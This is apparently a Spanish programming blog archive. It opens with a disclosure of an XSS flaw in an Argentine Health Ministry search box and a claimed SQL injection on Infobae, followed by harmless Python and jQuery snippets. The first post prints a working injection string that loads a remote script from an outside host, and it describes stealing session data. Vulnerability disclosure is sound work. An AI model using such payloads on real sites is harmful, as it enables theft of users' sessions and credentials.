Archive for the 'Programación' Category

XSS en el sitio del Ministerio de Salud

Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación.

Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.

Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”1.

¿En qué consiste la vulnerabilidad?

Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:

Búsqueda en el Ministerio de Salud de la Nación

El código del campo de texto es el siguiente:

1
<input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" />

El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.

Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:

" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="

Se obtiene:

1
<input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " />

Y, por consiguiente (clic para agrandar):

XSS en el Ministerio de Salud de la Nación

¿Qué consecuencias puede ocasionar esta vulnerabilidad?

  • Se puede esconder una URL maliciosa con un acortador de URL que redirija a la víctima hacia el sitio vulnerable junto con un POST de búsqueda que permita ejecutar código arbitrario.
  • Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.
  • Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.

La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.

1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.

XSS y SQL Injection en Infobae.com

Ayer me puse a revisar Infobae en búsqueda de agujeros XSS, y grata fue mi sorpresa cuando encontré una falla en el primer intento, lo cual me da a entender que Infobae es un “colador”.

Y eso no es todo. Profundizando un poco más, encontré algo más grave:

  1. Las líneas de debugging son públicas
  2. Están imprimiendo consultas de SQL en comentarios HTML
  3. No están escapando caracteres en las consultas SQL

Este último punto significa que cualquier persona puede realizar inyecciones SQL1, o sea:

  1. Obtener información sensible de los usuarios registrados en Infobae, como nombres de usuario, números de DNI, direcciones de correo electrónico, contraseñas (si no están encriptadas o si utilizan hashes md5 reversibles2), etc.
  2. Modificar información del diario, como el título de la portada principal (un amigo me sugirió que ponga “Encontraron las manos de Perón”)
  3. Vaciar (TRUNCATE) o eliminar (DROP) tablas y bases de datos completas.

Quise contactarme con ellos, pero la página de contacto del diario no anda, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y los agujeros no fueron parcheados.

1 – Es posible que utilicen usuarios con jerarquía de privilegios, aunque lo dudo.
2 – “Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking” (Wikipedia)

Identificando posibles “drops” de usuarios de Twitter, con Python

Hace un par de días se supo que Twitter liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más.

Les dejo una herramienta para obtener los días de inactividad de un usuario a través de su último status publicado. Esta clase puede ser utilizada, por ejemplo, para recorrer listados de palabras en búsqueda de nombres valiosos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import twitter
import sys
import urllib2
from datetime import datetime
 
class UnknownUser(Exception):
    pass
 
class UnknownStatus(Exception):
    pass
 
class TwitterExpire(object):
    def __init__(self):
        self.__t = twitter.Api()
 
    def verify(self, username):
        try:
            user = self.__t.GetUser(user=username)
        except urllib2.HTTPError:
            raise UnknownUser
        else:
            status = user.GetStatus()
            if status:
                timestamp = status.GetCreatedAtInSeconds()
                d = datetime.fromtimestamp(timestamp)
                td = datetime.now() - d
                return td
            else:
                raise UnknownStatus
 
def main(username):
    te = TwitterExpire()
    try:
        result = te.verify(username)
    except UnknownUser:
        print u"User '%s' doesn't exist" % username
    except UnknownStatus:
        print u"Couldn't find any status for '%s'" % username
    else:
        print result
 
if __name__ == '__main__':
    if len(sys.argv) &gt;= 2:
        main(username=sys.argv[1])

Algunos resultados:

mahadeva@blue:~$ python2.5 last_status.py patito
258 days, 11:16:49.425212
mahadeva@blue:~$ python2.5 last_status.py patricio
Couldn't find any status for 'patricio'
mahadeva@blue:~$ python2.5 last_status.py usuarioinexistente
User 'usuarioinexistente' doesn't exist
mahadeva@blue:~$ python2.5 last_status.py shitmydadsays
1 day, 22:35:44.434214

Python 2.5 en iPod Touch 2G

Calculando un timedelta con Python 2.5.1 en el iPod Touch ¡Muy groso!

Me encanta recibir “buenas noticias” (con Python)

Acá les dejo un pequeño programa en Python que busca “buenas noticias” en los feeds RSS de Clarín, InfoBAE y La Nación.

Es altamente configurable (pueden agregar o quitar palabras clave y feeds editando FEEDS y KEYWORDS).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
 
import feedparser
import re
 
FEEDS = {
    u'Clarín': 'http://www.clarin.com/diario/hoy/um/sumariorss.xml',
    u'InfoBAE': 'http://www.infobae.com/adjuntos/html/RSS/hoy.xml',
    u'La Nación': 'http://www.lanacion.com.ar/herramientas/rss/index.asp',
}
 
KEYWORDS = ['muerto', 'caos', 'inseguridad']
 
def main():
    regexps = [re.compile(keyword, re.IGNORECASE) for keyword in KEYWORDS]
    for feed_name, feed_source in FEEDS.iteritems():
        for entry in feedparser.parse(feed_source).entries:
            for r in regexps:
                if r.search(entry.title):
                    print '%s: %s - %s' % (feed_name, entry.title, entry.link)
                    break 
 
if __name__ == '__main__':
    main()

Acá tienen unos resultados de ejemplo:

1
2
3
4
5
6
7
mahadeva@blue:~$ python buenasnoticias.py
InfoBAE: Un muerto y miles de evacuados por una explosión en Rusia - http://www.infobae.com/mundo/484082-101275-0-Un-muerto-y-miles-de-evacuados-por-una-explosión-en-Rusia
La Nación: Varios muertos en Rusia tras una explosión en un arsenal militar - http://www.lanacion.com.ar/nota.asp?nota_id=1199099
Clarín: Inseguridad: en medio de los cruces, el oficialismo se despega de D'Elía - http://www.clarin.com/diario/2009/11/13/um/m-02040147.htm
Clarín: 12:35 - Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm
Clarín: Otro choque en la General Paz provocó un caos en el tránsito - http://www.clarin.com/diario/2009/11/13/um/m-02040083.htm
Clarín: Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm

Mostrando búsquedas de Twitter en una página web con jQuery

El programa consta de dos partes: el contenedor de resultados y el script.

Contenedor de resultados

Se trata del elemento HTML donde se mostrarán los resultados de una búsqueda. Los términos de búsqueda se establecen en el atributo title.

Por ejemplo, si quisiéramos mostrar los resultados del tag #obama:

1
<div class="twitter_search" title="#obama"></div>

Podés crear todos los contenedores que quieras en la misma página, en el lugar que desees:

1
2
3
4
<p>Novedades sobre Python</p>
<div class="twitter_search" title="#python"></div>
<p>Novedades sobre jQuery</p>
<div class="twitter_search" title="#jquery"></div>

El script

Son las instrucciones JavaScript del programa que se encargará de todo el trabajo: obtendrá los términos de búsqueda, solicitará los resultados a través de la API de Twitter y mostrará los resultados en el navegador.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$(document).ready(function() {
    var url = 'http://search.twitter.com/search.json?callback=?';
    $('.twitter_search').each(function() {
        var container = $(this);
        var search = container.attr('title');
        if (search) {
            var since_id = 0;
            if (container.children().length) {
                since_id = container.children(':first').attr('id').replace('#', '');
            }
            $.getJSON(url, {'q': search, 'since_id': since_id}, function(data) {
                if (data.results.length) {
                    for (i in data.results.reverse()) {
                        var r = data.results[i]; 
                        var div = $('<div id="#' + r.id + '"></div>');
                        div.hide();
                        div.addClass('twitter_result');
                        div.append('<img src="' + r.profile_image_url + '" alt="' + r.from_user + '" />');
                        div.append('<a href="http://twitter.com/' + r.from_user + '">' + r.from_user + '</a>');
                        div.append('<span>' + r.text + '</span>');
                        container.prepend(div);
                        div.slideDown('slow');
                        if (since_id) {
                            container.children(':last').slideUp();
                        }
                    }
                }
            });
        }
    });
};

Acá pueden ver una demostración funcional (y comentada) del script: Twitter Search + jQuery.

Aclaraciones de la demo:

  • Casi no hay consumo de bandwidth de nuestro servidor, porque estoy usando jQuery 1.3.2 desde Google y es el navegador del usuario quien se encarga de hacer el request de búsqueda a la API de Twitter
  • En la demo los resultados se actualizan automáticamente cada 5 segundos (setInterval("twitter_search();", 5000))
  • Sigo una estructura FIFO (gracias al parámetro since_id de la API). Esto significa que iré agregando nuevos resultados en la cabecera mientras remuevo los más antiguos
  • La demo es XHTML 1.0 Transitional

Python práctico: usando timedelta para calcular días restantes

El 25 de diciembre me voy a Perú con unos amigos, y quiero saber cuántos días faltan. Puedo contar los días del calendario, buscar en Google alguna herramienta para realizar este tipo de cálculos, o sino…

>>> from datetime import datetime
>>> td = datetime(2009, 12, 25) - datetime.now()
>>> td.days
94

Más rápido que buscar en Google, no? ;-)

Consultando Crunchbase con Python

Por mi trabajo, siempre estoy pendiente de lo que sucede en Crunchbase (de hecho, estoy suscripto a su feed de páginas recientes). Con tantas empresas y personas yendo y viniendo por Twitter, se transformó en una fuente de consulta permanente.

¿Puedo consultar Crunchbase con Python? La respuesta es obvia :-)

Crunchbase tiene una API muy interesante que devuelve resultados en formato JSON. Pueden encontrar documentación sobre su uso en en crunchbase-api.

Para este programa estoy usando la librería simplejson (sudo apt-get install python-simplejson)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys, urllib, simplejson
 
api = 'http://api.crunchbase.com/v/1/search.js?%s'
 
def main():
    if len(sys.argv) >= 2:
        q = ' '.join(sys.argv[1:])
        source = urllib.urlopen(api % urllib.urlencode({'query': q}))
        results = simplejson.loads(source.read())
        if results['results']:
            for r in results['results']:
                name = r.get('name')
                if not name:
                    name = ' '.join([w.capitalize() \
                        for w in r['permalink'].split('-')])
                print '%s (%s): %s' % (
                    name.strip(),
                    r['namespace'].capitalize(),
                    r['crunchbase_url'],
                )       
        else:
            print 'No results for "%s"' % q
    else:
        print 'Usage: python %s <keyword(s)>' % sys.argv[0]
 
if __name__ == '__main__':
    main()

Aquí tienen algunos resultados:

mahadeva@blue:~$ python crunchbase.py
Usage: python crunchbase.py
mahadeva@blue:~$ python crunchbase.py popego
Popego (Company): http://www.crunchbase.com/company/popego
Santiago Siri (Person): http://www.crunchbase.com/person/santiago-siri

El programa en sí no es muy cómodo de usar (para eso existen los add-ons de de Firefox ;-) ), pero es un buen punto de partida para utilizar, por ejemplo, como una aplicación de Django, o un bot que interactúe con Twitter.

You’ve got email! (versión Python)

Acá les muestro un simple notificador de correo con Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys, libgmail
 
def main():
    if len(sys.argv) >= 3:
        g = libgmail.GmailAccount(sys.argv[1], sys.argv[2])
        try:
            g.login()
        except libgmail.GmailLoginFailure:
            print 'Login incorrecto'
        else:
            unread = g.getUnreadMsgCount()
            if unread:
                import pynotify, gtk
                pynotify.init('Gmail notify')
                pynotify.Notification('Gmail', '%d mensajes sin leer' % unread,
                    gtk.STOCK_DIALOG_INFO).show()
 
if __name__ == '__main__':
    main()

En la primera línea estoy importando el módulo libgmail porque uso Gmail. Si usan Ubuntu, pueden instalar esta librería con sudo apt-get install python-libgmail.

Alternativamente pueden obtener un XML en formato Atom a través de https://mail.google.com/mail/feed/atom (van a necesitar algo como urllib2.HTTPPasswordMgrWithDefaultRealm).

Como es un script que se ejecuta desde la línea de comandos, sys.argv[1] será mi nombre de usuario y sys.argv[2] mi contraseña.

Si en mi cuenta hay correo no leído (línea 12), importo pynotify y gtk (porque uso Gnome) para mostrar un mensaje en mi pantalla:

notificacion

Dos cosas a tener en cuenta:

  • En el ejemplo utilizo sys.argv para obtener el nombre de usuario y la contraseña, pero tengan en cuenta que esa información queda almacenada en ~/.bash_history o en otros logs del sistema. Es preferible definir dos variables dentro del script
  • Pueden hacer que el script corra periódicamente utilizando cron. Por ejemplo: */1 * * * * /usr/bin/python2.5 /path/al/script.py usuario@gmail.com contraseña

Buscador para Twitter, con Python, en 12 líneas

Hoy estuve viendo los resultados de la búsqueda #pyconar2009 en Twitter Search, y me dije: “por qué no hacer las búsquedas desde consola, con Python?”

Unos minutos después, aquí está el resultado:

1
2
3
4
5
6
7
8
9
10
11
12
import feedparser, urllib
 
def main():
    feed_source = 'http://search.twitter.com/search.atom?%s'
    q = raw_input('Search term: ')
    if q:
        f = feedparser.parse(feed_source % urllib.urlencode({'q': q}))
        for entry in f.entries:
            print '%s: "%s"' % (entry.author, entry.title) 
 
if __name__ == '__main__':
    main()

En este caso usé Universal Feed Parser ($ sudo apt-get install python-feedparser), pero pueden utilizar la librería que más les guste :-)